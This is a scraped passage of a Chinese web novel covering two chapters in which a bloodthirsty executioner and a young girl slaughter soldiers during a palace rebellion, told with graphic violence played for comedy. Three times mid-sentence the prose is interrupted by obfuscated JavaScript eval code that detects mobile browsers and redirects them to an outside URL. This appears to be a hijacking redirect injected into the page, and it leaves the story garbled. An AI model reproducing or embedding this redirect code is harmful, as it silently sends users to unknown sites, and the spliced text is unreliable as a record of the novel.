她想她或许真的该去治一治脑子了——她一看到强于她的人,立刻便担忧日后若是与之为敌了该如何应对,又立刻联想到自己生死皆在她人掌控之中的惨状,更立刻地就想要把那有能力杀她的人先给杀了。 她甚至要平静片刻,才能意识到倘若世上真有修仙一说,而叶边舟又真的身怀法术。那她动手的话,她只不过从可能会死变成立即就死而已。 “是要我放过赵得真的意思么?”傅水伤闭了闭眼,专心地盯着那张纸,“那她不应当把这纸团塞给陛下么?” 说罢她又摇头,“这人都这么厉害了,恐怕她直接把陛下杀了也是轻而易举。” 她想若是那人所做的事并不是往她衣服里塞纸团,而是直接抹她脖子,她应当也同样无力反抗。 而塞纸团这事却比抹脖子还要诡异。这行为实在是太过幼稚,简直就像几岁幼童之间的恶作剧。这字也写的比初学者还不如,她都不知道丘执玉是怎么能认出来的。 “只杀陛下并没有什么用。”丘执玉道,“若陛下身亡,池大人便会让凌王立刻继位,由她在背后掌管,与陛下在时也不会有什么不同。” 所以朱向明朝危鸣晨射的那一箭歪了一些,而池之澈会在长宁街上救赵得真。 她们并不会只依靠一个首领。将首领暗杀了,反而会多出许多无法预料的变数。当年先皇也以为杀了灵晖郡王便可高枕无忧,可结局也不过是朱向明接管镇国军,与危鸣晨一同打了回来。 “那她就不能先杀陛下、再杀凌王与池之澈,最后把龙泉殿上的大臣、殿外的羽林军、明镜府的府兵、雁翎府的第三营……通通都给杀了么?”傅水伤又问,“她都有法术了,难道很难么?” 丘执玉:“……” 她没当过修道者,也并不了解修士究竟比凡人强大多少,能否以一人之力对上数千乃至数万人的军队。但她想修士也还是人,不至于人性丧失到傅水伤这般程度,不管三七二十一通通杀光。 叶边舟却回答了:“的确不难,她当然可以。不过她也并没有这样做的理由。” 叶边舟也当然可以先杀赵得真、再杀朱向明,随后将京都卫军全灭。她甚至能在五日之内御剑到红溪谷去,将镇国军的大本营化为飞灰。如此危鸣晨自然再无忧虑。 但对她来说,这就好似一个万贯家财的富豪,看见街上两个乞丐在争夺一个馒头。她莫名其妙地就要去帮其中一个,为这乞丐出谋划策,为她去暗杀另一乞丐——只为了抢夺一个馒头。 那实在太过荒谬了。没有修道者会对凡人间的争夺感兴趣,更何况是东扶这样一个灵气稀薄资源匮乏的弹丸之地。 她来东扶另有要事,而她唯一有兴趣的也只是那些或许与邪修有关的死者。其她的不过听一听,她不会干涉。 那神秘人应当也是同样,她想那人也另有目的。不过给些好处利用凡人来做事,也并不会真的去帮她们。 叶边舟说这些话说得格外自然,仿佛只要她想,她确实便能轻易做到。傅水伤便又皱眉看她,已忍不住想要去将刚刚丢下的铁箭捡回来了。 她又努力忍了忍,继续去看那张纸,“所以这究竟是什么意思?为什么给我?” 她们全都不能想通,丘执玉便将纸收起来,道:“先别管它了,反正你也不可能在明镜台前杀了赵得真。等朱向明去救她,她们一同入宫之后——那才是她的死期。” 叶边舟也说:“等我将那神秘人找出来了,一切自有答案。” 傅水伤也只好不去管了。她脑子没那么好使,再管也决计管不出什么结果。何况她又不正常起来了,更是难以思考。她想她现在最要紧的事是去杀个人来冷静冷静。 明镜府处决犯人自有章程,十日时间实在是有些紧迫了。丘执玉便忙了起来,傅水伤倒是无所事事了。 没人叫她帮忙,她也懒得去管什么,只在家里练刀。她累了便坐上屋顶,看着远处的钟鼓楼。 那楼上应是有人,她时常能看到一个白衣的身影坐在最高处的八面晷旁。而每当临近黄昏,太阳便会挂在钟鼓楼之后,此时便有微弱的金光在其中流转。 她相信自己是被晃花了眼。 她此时又看见那淡淡的金光了,便不知为何地烦躁起来,拿刀跑去了丘执玉家里。 这次她直接便跳进去,找到丘执玉的卧房,敲了敲开着的窗户之后,便坐在了窗台之上。 丘执玉显然是在家,她好像已准备要休息了,衣服脱了一半却看见窗台上的人,便无奈道:“你来做什么?” “无聊,来找你说说话。”傅水伤看她站着一动不动,便问道,“你怎么不给我解药了?” “院子里的毒都去掉了,只在屋子里留了一些。”丘执玉摇头,“你已知道我家了,我怕你哪天来找我,我却不在。等回家才发现你被毒死在这里。” 而她果然并非杞人忧天,即便傅水伤知道院子里有毒,她也还是要进来。 “丘大人你人可真好,”傅水伤感动了,“我能进屋里去感谢你么?” “……你进来吧。” 等傅水伤跳进来坐到桌前,她便也坐到对面,问道:“你有事么?” “明日就该是处决赵得真的日子了,”傅水伤期待道,“是我们明镜府负责行刑的,对吧?” 丘执玉点头,“你明日辰时到明镜台前就好。” 傅水伤又道:“我恐怕也只能做个样子,杀不了赵得真——你说朱向明会去就她。那之后她们应当就会顺道带兵入宫去了。” “所以肯定是需要我入宫救驾去的,对吧?到时候一片混乱,刀剑无眼,我不小心杀多了几个人,也情有可原的,是吧?” “……你想做什么?”丘执玉把放到嘴边的茶杯又放了下来,“你安分一点。” 傅水伤只不过是想去把第三营那些人杀一杀而已。她已十天没杀人,而上一次教她生了杀意的就是第三营了,她是一定要去杀几个来满足心愿的。 不然的话……她总不能去杀叶边舟吧? “我安分不了。”傅水伤直说了,“丘大人,你了解我的。与其真让我不慎杀了不该杀的人,不如你先告诉我哪些人是可以杀的。” 她借此来决定是直接杀还是偷偷杀。 没错,她的计划便是这样简单粗暴。她想明日第三营肯定也是要去护卫皇宫的,那她就趁机弄死一点。弄死几个算几个。 她身上的杀气已然很重了,而她的刀就握在手上。丘执玉便拖着椅子后退了一些,小心翼翼道:“先一定记得不要杀我……” 傅水伤大喜:“除了你都能杀?!” “不、当然不是,你在想什么。”丘执玉离她更远了一些,几乎已要碰到背后的墙面了,“你到底想做什么?” “想杀第三营。”傅水伤忽然严肃起来,她走到了丘执玉身前,低头看着她,“丘大人,你说实话,你难道就不想杀他们吗?” “你当年和陛下一起对付先皇,你也曾被第三营害得很惨吧?我看你对灵晖郡王也很是崇敬,你也想为郡王报仇吧?” 丘执玉并没有回答,她转头看着窗外,看了好一会儿,忽然道:“我要睡觉了。” 说完她竟真的脱鞋躺到了床上,把被子裹上。 傅水伤直接躺到她旁边去,依旧与她对视。 她想她猜的果然没错,丘执玉与赵得真交好,又不似危鸣晨,当了皇帝就变了心思。她肯定也是恨第三营的。 可丘执玉还是不说话,她便决定替丘执玉回忆一番过往的仇恨。她想了想,道:“行吧,不说这个了。我们说别的。” “丘大人,你和陛下是怎样认识的?” 这问题丘执玉果然便回答了。她道:“我当年在太医院属下的学宫里学医,有一日陛下随灵晖郡王去了那里。我看见她,觉得她实在很是眼熟,便问她叫什么名字。” “她说她叫危鸣晨。” 她也果然万分怀念那些过往,即使傅水伤没问,她也继续说起了别人,“鸣晨在郡王府长大,而得真少年时被朱将军收养。郡王和朱将军交好,鸣晨也就自然地和得真认识了。” “阿澈和阿恒是鸣晨被送去扶摇和亲时,在扶摇认识的。” “阿恒?”傅水伤似乎是听池之澈这么叫过凌王,便问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038603|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “凌王殿下?” 丘执玉点头,“她叫须和恒,与先皇并无关系。是随鸣晨来到扶疏之后,被鸣晨收为义妹。” 难怪别人一边说危鸣晨是先皇最小的女儿,一边又说凌王是危鸣晨的亲妹妹。原来并不是亲妹妹,不过是当做亲妹妹看待。 “阿恒以前就跟着阿澈,现在也是阿澈在照顾。阿澈说那是她亲妹妹,可她们长得没有半点相似之处,我猜也是阿澈胡说的。” “……总之我们许多年间都在一起,我们一同打败了先帝和他所有的男儿,推举鸣晨为帝。”丘执玉忽然笑了起来。她似乎有些得意,傅水伤从没见过她这么得意的样子。 她很轻很快地说:“先皇是被我毒死的。他死时被毒物折磨了很久,得真带人去处理——连得真那样十三岁就上战场的人,出来都吐了。” 她从未对参与这些事以外的任何人说过这些,今日也不过是第一次。而傅水伤果然不教人失望,她连一丝正常人该有的反应也无,立刻就竖着拇指称赞,“丘大人你可真厉害!” 丘执玉又笑了一下,忽然便坐起了身。她打开床边的小窗子,对着外面就吐了起来。 傅水伤:“……怎么了?丘大人?” 丘执玉:“抱歉,我想起先皇死时的样子了,太恶心了……” 傅水伤:“……” 她从没见过被自己多年前做下的事恶心到吐的人。简直不知道该说什么才好。 她去帮丘执玉倒了杯水来漱口,又趁热打铁道:“你们当年多么深情厚谊,要是没有第三营这些东西,现在也该是如此。” “怎么想都怪他们,”傅水伤说,“所以我去替丘大人报个仇?” 丘执玉沉默了好一会儿。她又躺了下去,闭了闭眼,才说:“第三营五年前元气大伤,如今实力不济,就算死得多了一些——哪怕全军覆没,那也是十分正常的事情。” 傅水伤便满意了。她正要起身告辞,又听丘执玉说:“好了,快睡吧。明日还有事。” “明早我先入宫去,你到明镜台前行刑。如果朱将军来救人了,你直接逃走入宫就是,我给你令牌。仙尊也会在,她答应会照看你,你自己也小心。” 这是让她睡在这里的意思,傅水伤懒得动,便又躺下了。她听着丘执玉说话,又蹙眉道:“叶边舟也在?还是教她好好躲在宫里吧。世上哪有什么修士什么术法,她演得连她自己也信了?半点武功也不会,就敢在那么危险的地方。” “你怎么还是不相信有修道之人存在?”丘执玉不解了,“你之前不是亲眼见朱将军用瞬行符逃走吗?” “什么瞬行符?那时不是陛下被朱将军一箭吓傻了,来不及指令,而池之澈没有命令不敢妄动,才被朱将军逃走了吗?”傅水伤更是不解,“你相信什么修道之人才更奇怪吧?等你老了我一定要搓仙丹去卖给你。” 丘执玉皱眉看着她,又去翻出了那张皱巴巴的纸,“这个呢?它莫名出现在你衣服里,众目睽睽之下,谁都没有察觉。” “这不是我捡的吗?”傅水伤又道,“一张废纸罢了,丘大人你留着它做什么?” 丘执玉便再次坐起了身,低头去看傅水伤。她看不出傅水伤有丝毫开玩笑的样子,便不由得忧虑起来。 “你脑子真的出了大问题。你必须要找大夫去看一看了。” “我脑子不是一直有问题吗?”傅水伤以为她在说自己身上的杀气。她不以为意,一边打哈欠,一边道,“以前不也看过?她们都说我天生就是做邪魔的料,让你为了天下苍生未雨绸缪给我杀了。” “怎么了?丘大人你终于要为了苍生动手了吗?” 天已经黑了,她越说声音越低,很快便睡着了。丘执玉虽是担忧,可也只能先躺下。 她想待明日之事结束之后,她一定要找危鸣晨借几个太医来给傅水伤看一看。她又想傅水伤或许只是太久不见血,憋出毛病了。等她明日杀几个人也许便好了。 她把自己的被子盖了一半到傅水伤身上,便也困倦起来。她闭上眼,只轻声地自言自语:“明日他便该来了。” “你想杀的话就杀他们,你可别真把得真给杀了。” 22.王澄阳 天一亮丘执玉便匆忙进了皇宫,而傅水伤也提着刀去了明镜台。 监斩的人是祝泉,叶边舟并不在。傅水伤便想这骗子还算是惜命,说会在这里,也只不过就是说说。 太阳升出来时,一切准备就绪。她们便将赵得真押了过来。 今日赵得真格外安静,虽目光凶狠地盯着众人,可却不言不语。傅水伤本以为她多少会说几句话,或许还会破口大骂,可明镜府的人验明正身时捏着她的脸检查,也不见她说半个字。 直到被推到断头台前,她也还是丝毫声音也不曾吐出。 傅水伤不免要怀疑赵得真是否是在雁翎府里受了什么虐待,便回头去看了祝泉一眼。 祝泉却以为她是在等待指示。她抬头看了看清晨初露的日光,低头便道:“时辰到了,行刑吧。” 傅水伤又低头去看赵得真。 赵得真也侧头盯着她,似是想说什么,可又始终安安静静。傅水伤与之对视,恍惚间似乎看见许多黑色雾气从她身上冒出来,一些逸散出去,另一些却凝成黑线,缠绕在自己身上。 她凝神去看时,一切又转瞬消散,似乎只是她一时眼花。 而她昨夜压下去的杀意又起来了,她眼中只见得的到赵得真,一时连什么朱向明什么造反都忘了。她只想要如往常一般,手起刀落,恢复平静。 她便双手握着大刀举起,又用力砍了下去。 那刀自然没能落下去。 朱向明不知如何地出现在她身前。她同样地拿了一把大刀,挡在了傅水伤的刀下。 刀刃之间擦出了火花。而傅水伤的刀即便是受到了阻止,也还是压着朱向明的刀向下几寸,让刀背打在了赵得真的肩上。 那力气绝对不小,可赵得真依旧未曾出声,连一丝痛呼也没有。 傅水伤便又低头看了她一眼。她已清醒过来,便挑开朱向明的大刀,去到祝泉身边。 这十日间她们一直在等待着朱向明的动作,可朱向明始终毫无反应。她们便明白此时一定会发生些什么,皆严阵以待。周围明镜府的府兵也都迅速围在了祝泉身边。 朱向明却是凭空出现的。她看起来似乎是单枪匹马,并没有其她人跟随。明镜府的府兵便朝她射了几箭,被她一一挡下。 但很快空寂的明镜台下便传来了马蹄声,那显然是朱向明的人来了。她们远远看着,便知人数是她们数倍不止。 祝泉当然也不准备送死,直接道:“走!” 她们转身便撤了。而身后赶来的京都卫军已反过来朝她们射箭。傅水伤时不时回头去挡一下,又忽地皱眉看向了祝泉。 这位雁翎府的府司显然也是会武的,只不过实力一般。而当有一箭朝她射来时,她竟是下意识地扯了把身后的府兵。 那府兵正竭力去阻挡飞来的箭矢,对祝泉根本就毫无防备,便被一箭射穿了胸口。 来时的路上已有许多死去的府兵了,傅水伤不由蹙眉去问:“你对她们……” “怎么?”祝泉见她武功高强,竟又直接躲在了她身后。她仿佛知道傅水伤是看见了,便也去扫了眼那些倒在路上的府兵。 “唉,真可怜。年纪大了,看到后辈们就这么死了,真是心痛。我夜里睡前一定给他们烧香祭奠。”她神色怅然,仿佛有万分悲痛,而她悲痛完了又立刻冷淡下来,“愣着干什么?快跑!” 那些箭又飞了过来,傅水伤也无法多说。 她们一早就知道需要逃命,选来的皆是会轻功的。而京都卫军那些人不过留在原地放箭,她们便很快地离开了射程。 又向前走了一段,她们找到了提前备好的马匹,都坐了上去。 “你刚才……”傅水伤握着缰绳,又想要重提方才那事。可祝泉没理她,只大声道:“分头走!” 她说完扬鞭,打了个傅水伤看不懂的手势,策马向西。而其她人竟也都跟着她离去,只留下傅水伤一人。 傅水伤:“……” 这叫什么“分头走”?不如直接叫“她看到我作恶我心虚了我们留她下来送死吧”! 这年头欠杀的人真是越来越多了。 她想明镜府的府兵跟她也算是同僚,虽不知她们为何就跟着祝泉走了,但她也没准备就看着她们给祝泉当肉盾。她便也要跟上前去。 可身后忽地飞来一支黑色铁箭,正打在马前。她的马一时受惊,转身朝相反方向跑去了。 傅水伤回头去看。 在她身后的明镜台上,赵得真已站了起来。她拿了一把重弓,依旧用着纯铁打造的箭矢。 她随手放了一箭,本想把傅水伤的马给射杀了。可她的双手一动不动地在背后背了十天,实在是不听使唤。那支箭只落在了傅水伤的马前。 “得真?”朱向明问她,“你怎么样?” 赵得真一边活动着双手,一边摇头。 “能睁眼了,却还是不能说话?”朱向明问了一句,见她点头,便将手放在她嘴唇上,又很快移开。 “我……”赵得真终于发出了声,便诧异地看着朱向明。 朱向明只笑了下,“危鸣晨能请到修士,我自然也能。” 赵得真便轻轻点头。她似乎很是信任朱向明,什么也没有多问,只又扫了一眼身后的京都卫军。她看到其中有些许多生面孔,便问:“这些是?” “镇国军的人。” 赵得真便皱着眉:“你私下里将她们调入京都来了?” “危鸣晨要杀我们了,难道我还不早做准备吗?”朱向明冷笑道,“你以前总是不信,现在呢?她莫名其妙召我入京,难不成是想我了?” 赵得真没有说话。 危鸣晨显然是真的要杀她了。她实在是想不明白。她只觉得危鸣晨一坐上皇位,好似就立刻被夺舍了。好好一个女人,竟和从前那些男皇没什么区别了。 她一面想着,又一面再次拉满了弓弦。她的箭随着傅水伤而移动,始终对准着她的脑袋。 双手已恢复了活动,她却像是有几分迟疑,又道:“我杀了她的话,执玉恐怕要生气。” 朱向明不知她说的是危鸣晨还是傅水伤,又或者两者兼有。她便道:“她想要杀你的时候,可不见丘执玉生气。” “执玉说她脑子有病,让我别和她计较。”赵得真似乎还是在犹豫,“她说她发病的时候谁都想杀。要是没有别的人在身旁,她恨不得把自己也杀一杀。” “那丘执玉也发了病么?危鸣晨呢?” 赵得真沉默半晌,而傅水伤已越来越远了。即便她再善于弓箭,也不能射出更远的距离了。 她眼神忽而阴沉起来,松手把箭放了出去。 那支箭很快地追上了傅水伤。而傅水伤从前只与赵得真短距离地交手过,她没想到赵得真的箭这样厉害。那箭速度极快,却几乎没有丝毫破空之声,直到近在咫尺了,傅水伤才察觉到。 她急忙躲闪,那支箭便只是射过她的耳朵,又划过她的颧骨,终于落在了地上。 傅水伤摸了把脸。虽然伤口见骨,血流不止,但也算不得什么重伤。她想幸好是跑远了,赵得真倒是没厉害到逆天的程度,还是射歪了。 她又俯身加快了速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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并没有听见回应,那人继续大笑,“可我听说明镜府府司是个女的啊?你娘这么厉害,连女的都能卖?” “你给我闭嘴!”里面的人终于说话了。她声音带着些颤抖,听起来格外的熟悉。 “哈哈哈,你现在知道害怕了?早和你们说过,别惹我们。”又有人道,“你以为陛下打我们,你就能跟着打了?哪朝天子不是到后头又把第三营用了起来?我们今日已回京都,很快就和五年前一样了。当年没能把你打死,现在可要继续了!” “滚开!”里面的少年似乎是在挣扎,她大喊了一声,而傅水伤正走到了那说话的男人身后。 她毫不犹豫地一刀下去,手下之人便身首分离,脑袋滚了下去。 爽了。 傅水伤笑起来,而里面的少年也抬起了头,惊喜道:“水伤!” 是阿阳。 旁边其他人纷纷拔刀,对向了傅水伤。阿阳靠着墙不敢乱动。她没见过这样的场面,略有些慌乱。而她刚刚还被鲜血溅了一身,更是害怕。 “他们现在回到京都城里了,像五年前那样……又要开始了。”阿阳看着那些人围着傅水伤,便说不出的恐惧,“你现在当着他们面杀了一个……” 她好似要劝傅水伤别胡来,可她又实在觉得这些人死得好。她只是担心傅水伤回头要被报复。 那些男人也质问道:“你是什么人?第三营也是你能动的?想被陛下处决么?” 即便五年过去早不复当年了,他们看起来也还是嚣张得很。哪怕傅水伤刚杀了一个,他们也并无恐惧,只以为傅水伤不知他们身份。便报了家门,已在等着傅水伤恐惧求饶了。 傅水伤唉声叹气,“的确,他们都看到了——我居然这么不小心,当着他们的面就杀了他们的好兄弟。他们要是向陛下告状,陛下肯定要给我活剐了。” “那我也没办法。”傅水伤又举起了刀,“我把他们都杀了吧。” 23.入宫(二合一) 她果真便继续挥刀杀了起来。这些男人弱得很,她一刀一个轻轻松松。而她很快看到阿阳还在那儿傻愣愣地靠墙站着,便割断了一个男兵的手,连带着他手中的弯刀一起挑飞,让它落到了阿阳面前。 阿阳被吓了一跳。她不知道傅水伤是故意的,实在害怕下一刀就要不小心落在自己脑袋上,可她也不知道该躲哪儿去,只站得更直更僵了。 “捡起来!”傅水伤见她连送上门的武器都不知道去拿,便只好出声指示,“看哪个没死的上去补一刀!” 阿阳正紧张着,听到声音便下意识地顺从。她弯腰把刀捡起来了,可也只会双手紧握着举在胸前,根本不懂得要怎么样才好。 忽然一个男人倒在了她面前。他还在挣扎着想站起来,傅水伤看见了,便冲阿阳道:“快干活!” “我……我……”阿阳手都抖了。她把刀举起来,又放下。纠结了好一会儿,才颤声道,“我不敢……” “这有什么不敢的?不就砍一刀的事儿么?”傅水伤不能理解。她思来想去,怎么想都觉得阿阳是要偷懒。 毕竟砍人是有点儿累的。 她便举着刀指了指阿阳,道:“你不杀他们的话,我可就得杀你了啊。不然你回头去告我的状,那我可倒了大楣了。砍一刀咱们就栓一根绳上了,快点儿。” “你是为了救我才杀他们的……”阿阳倒并不害怕傅水伤,只用力摇着头,“我怎么可能反而为了他们去告你的状。” 傅水伤闻言却愣了一下,“啊,你觉得我是为了救你才杀他们的?” 她又很快点头,“不错!的确是这样。” 阿阳也跟着一愣,她忽而悲愤起来,“你根本就不是为了救我才杀人的!你——你根本就是为了杀人才顺便救了救我!” 她想要是她落了水,而旁边有几个可以随便杀的人。傅水伤只能选一个的话——她完全不敢想傅水伤会选哪一个! “都一样嘛。人死了,我爽了,你得救了。”傅水伤也不逼她了。她纵马去追那几个终于看清状况知道逃跑了的男兵,一面道,“大家都很开心,不要在意这些不重要的事。” “大家都很开心?!”阿阳被她震惊到了,她指着地上的人,“他们也很开心么?” “我看他们的心挺开的啊,捅一刀过去,心都开成两半了吧?” 傅水伤一边同阿阳闲聊着,一边把往西面跑的几个男人追上了。她不慌不忙地一个个摘了脑袋,又转头去追东面的。 而那被砍了一刀趴在阿阳面前的男人,终于挣扎着站了起来。 他握着自己的大刀,看起来有些意识昏沉。用力摇了摇头之后,突然便向阿阳砍了过去。 阿阳靠着墙,并没有躲避的余地。她也只好慌乱地举起了刀,闭着眼乱砍了几下。 她原本以为自己是绝对砍不中的。即便砍中了,她力气小,恐怕也不会有多大伤害。她甚至以为第三营里这样训练有素的老兵,即使是重伤了,也能夺了她的刀反杀了她。 她举起刀时就已准备要大喊“水伤救我”了。 可她没想到她一刀就砍在了男人脖子上。这男人瞬间血流如注,直接躺倒在地,再无动静了。 阿阳握着刀喘着粗气,鲜血顺着刀身流到她手上,她看起来更加呆愣了。 而傅水伤已把所有男人都砍倒在地。她来回检查了一遍,确定大家死得都很彻底,没有半点复活的风险,便又骑马到了阿阳面前,伸手道:“上来。这边不安全,你跟着我吧。” 阿阳呆呆地伸出手去,被傅水伤拉到了马背上。她一只手抓着傅水伤的衣服,另一只手紧紧地抱着手里的刀。 风把她衣服上的血迹吹干了,她才忽然开口,“我第一次杀人。” “嗯。”傅水伤应了一声,“什么感觉?” 阿阳低头看着手上流动的鲜血与凝结的血块。她实话实说,“没什么感觉。这血……好像和我的经血也没什么区别。” 不过就像是月经带漏了血,她蹲在茅房里收拾一般。 并不害怕。 只觉得她早就该这样做了。 “本来就是该变成经血的东西,”傅水伤笑了一声,“你帮他们变回他们应有的样子而已,他们该感谢你。” 阿阳没有回答。她抱着刀沉默了一会儿,又说:“我以前很害怕他们。” “我十二三岁的时候跟着一个姐姐,在她那里干活换食宿。那个姐姐是负责给京郊营地送菜的。有一次我们遇见一个第三营的人,他不知道被谁搞生气了,路过时莫名其妙就把我推到了湖水里,我差点被淹死。” “那个姐姐一生气就和他打了起来,还打赢了。可是没几天再来,整个京郊营地都在说姐姐一个女人,天天往第三营全都是男人的地方跑,其实是在偷偷卖的,就看中了这里男人多好挣钱。还说姐姐十岁出头就和人乱搞生下了我,为了银子带着我这个十几岁的‘亲女儿’一起卖。这些话甚至都传到京都城里去了。” “然后呢?”傅水伤问。 “然后姐姐往第三营放了把火,直接跑去加入镇国军了。陛下夺位的时候,她还带小队去打了第三营。”阿阳笑了笑,“她现在还在镇国军里,不知道怎么样了。” 笑过之后,阿阳却又抿了抿唇,小声道:“她走时还把她住的小房子留给了我。可第三营那些东西居然找了过来,砸了房子,还打我——我险些要被打死。还好丘大人救了我。” 傅水伤便又问:“丘大人?她怎么救得你?” 那时候丘执玉应当也就是十五、六岁的样子,还和明镜府没有丝毫关系。她又不会武,怎么想都只能一起挨打。 “丘大人把他们都毒死了。”阿阳说。 那傅水伤就不明白了,“我怎么听,该害怕的也是他们吧!你现在好好的,他们可全都死了。” “又不经杀,又要犯贱来找杀。再有这样的你直接给他们全杀了不就好了?有刀用刀,有毒用毒。就算什么都没有也能踢爆他的蛋。害怕个什么?” “对……”阿阳也轻轻点头,“我不应该害怕他们的。” 她也有刀。他们能打她,她也可以砍他们。她以前为什么会因为打不过而直接不打了呢?难道自己不打了,他们就也不打了吗? 就要举起刀来,砍死一个算一个! 阿阳渐渐地双眼发亮,又忽然极为期待地问:“那我们接下来去哪里?第三营现在有五千多人,我们能把他们杀光么?” “想什么……以我们的速度,不吃不喝不睡觉也得杀个五六天。”傅水伤已走到了皇宫之前,却并没有进去。她绕着宫墙转了转,略过了羽林军守卫的宫门,停在了第三营看守的一个侧门之前。 她目测了一番。人的确是很多,但并没有弓箭手,也没有什么武功高强之人。那么人再多,能围上来同时和她打的,顶多也就是十几个普通男兵,完全足以应对。 车轮战她就更不怕了。等她杀累了,立刻便把身上的毒、炸药、烟雾弹什么的通通放出来,换个地方拿令牌入宫。想休息多久便休息多久,休息好了再来。 傅水伤便直接冲了过去,“我们尽力,剩下的让给赵得真。赵得真可恨死他们了。” 可阿阳倒觉得傅水伤也很死他们了。她总觉得傅水伤应当也是和他们有仇的,只是傅水伤没有说。 她当然也并不会去问。握着刀心跳不止。 傅水伤已冲到了人群里,先砍出一片空地来,跳了下去。 “你留在马上!”她对阿阳道。 坐在高处对战自然有优势,也省力一些。且傅水伤一眼能看到,有什么问题了便可及时过来。 她直接就开杀了,那些男人一时还未能反应过来,被她砍倒一大片了才终于反击。 阿阳则是在马上乱砍一通。她虽然不会武,但疯了一样地胡乱挥刀,却也并没有人敢随便接近。 可没有人能伤她,她却也同样伤不到别人。阿阳便四处看了看,很快选择跟在傅水伤后面,见她砍完就不管了的人还能动,就策马上去狠踩几下。 她们正在这里开开心心地抛头颅洒热血,忽又听见了远处的马蹄声。阿阳视野更高,看清了来人,便着急道:“是镇国军!怎么办?” 傅水伤杀得正爽呢。她丝毫不觉得累,只觉自己完全可以不吃不喝不睡地杀上五六天。她便只是道:“怕什么?她们是反贼。等她们被抓了供认说我们杀第三营——那肯定是狗急跳墙污蔑我们这样忠心耿耿的大好人!” 反正丘执玉答应了的,丘执玉自然有办法让第三营死得合情合理,与她和阿阳毫无干系。 “不是……”阿阳就知道她杀气冲头了便无法思考,只能替她动脑子,“我们可还是陛下这边的啊?她们要是以为我们起了内讧,正是时机大好,把我们和第三营一起杀了怎么办?她们人那么多,好似还是精锐——” “——我们快跑吧!” 傅水伤一点也不想跑。她好几年没这么痛快地杀过了。自从危鸣晨坐稳皇位…… ……不,是自从危鸣晨选择与先皇旧臣和解,不再赶尽杀绝。造反的人便少了许多。 那些人已走近了,的确是镇国军的人。武功似乎都不算差,被她们围住的话可就难脱身了。 ……但她们原本都在红溪谷,多少年也不会回京一趟,肯定是不认得傅水伤这么一个普普通通刽子手的。 傅水伤看她们一眼,忽然大喊一声:“为灵晖郡王复仇!” 她砍了一个脑袋,“就是你们害死的郡王?” 又捅了一颗心脏,“你们也配碰郡王?” 再抹了一个脖子,“郡王对我有恩,我就算死也要亲手为郡王复仇!” 她一连砍了十几个,才放下心来。 不错,听到她与阿阳说话的人已全都没了。 她突然间发疯却是把阿阳给吓到了,阿阳便忍不住去问:“水伤,你干什么?” 她未来得及回答,镇国军也已到了。她们显然被眼前的状况迷惑了,但她们也并未耽搁,立刻同第三营打了起来,很快地将傅水伤和阿阳从包围圈里解救出去。 为首的人扯住了已一脸疯癫的傅水伤。她看傅水伤两人平民打扮没有身份牌,连盔甲也没有,刀也破破烂烂,仿佛平日里还要用来砍柴。她便疑惑不解地问:“你们在做什么?” “为灵晖郡王复仇!”傅水伤早已杀红了眼,看着却好似是悲愤交加的模样。 阿阳不知她想干什么,只敢跟着点头:“嗯!” “郡王当年救过我们的命……” 阿阳:“嗯嗯!” “今日好不容易有了机会,我一定要亲自为郡王报仇!” 阿阳:“嗯嗯嗯!” “你们是镇国军的人?当年灵晖郡王的部下?我在宫里当差的朋友说的果然是真的!你们终于要来为郡王复仇了!我苦练多年刀法便是为了今天,让我帮你们吧将军!” 阿阳:“……嗯。” 这首领却看了阿阳一眼,“你……那你怎么把家里的傻妹妹也带出来了?简直胡闹。太危险了,这不是你们该来的地方,快回家待着!” 阿阳:“……” 傅水伤便朝阿阳使了个眼色。阿阳不知是如何会意的,纠结了片刻,才勉强下定了决心。 她笑嘻嘻地拍了拍手,又举起刀,哈哈大笑着,“郡王……哈哈哈,郡王……好多人,一定是郡王又回来了!郡王回来了哈哈哈……” “追随郡王!”她一扯缰绳,又冲到了最前面。 傅水伤目瞪口呆,急忙跟上,“阿阳小心!” 她只不过是想让阿阳解释一下自己不是个傻子而已,阿阳今天怎么这么疯! 但反正结果是好的。她们又继续开开心心地抛头颅洒热血去了。 有镇国军在,她们便更轻松了,累了也不必设法逃跑,只要退到后面去稍歇片刻就好。 那首领虽觉得这两人实在古怪,但傅水伤的确是勇猛,她一人恐怕抵得过百人,又真的只专心对付第三营,甚而还会出手救一救镇国军的士兵。她也就随她们去了。 但她还是趁两人退下来休息时走到了阿阳身边,拿出一条半黑半红的布带来系在阿阳手臂上,道:“这是力有不逮需要帮忙的意思,周边有余力的姐妹看见了会护一护,别摘下来。你们最好也还是回家去。南城已被镇国军接管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15054446|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,绝不会有人进你们家中的。” 她说完自己上了前面,代替了傅水伤的位置。 阿阳看着她,摸摸手臂上的布带,极小声地说:“我怎么看都觉得赵将军她们好正义,而我们……” 她一脸憎恶地扫了第三营一眼,“……我们要是没被赵将军打败,那简直毫无天理。” 傅水伤正心满意足着,难免对镇国军极有好感。她便跟着点头,“我也觉得。” 阿阳又蠢蠢欲动了,“那我们投靠赵将军吧!” “我砍了赵得真好几次呢。”傅水伤拒绝,“我投靠她了,她回头第一件事就是砍死我。” 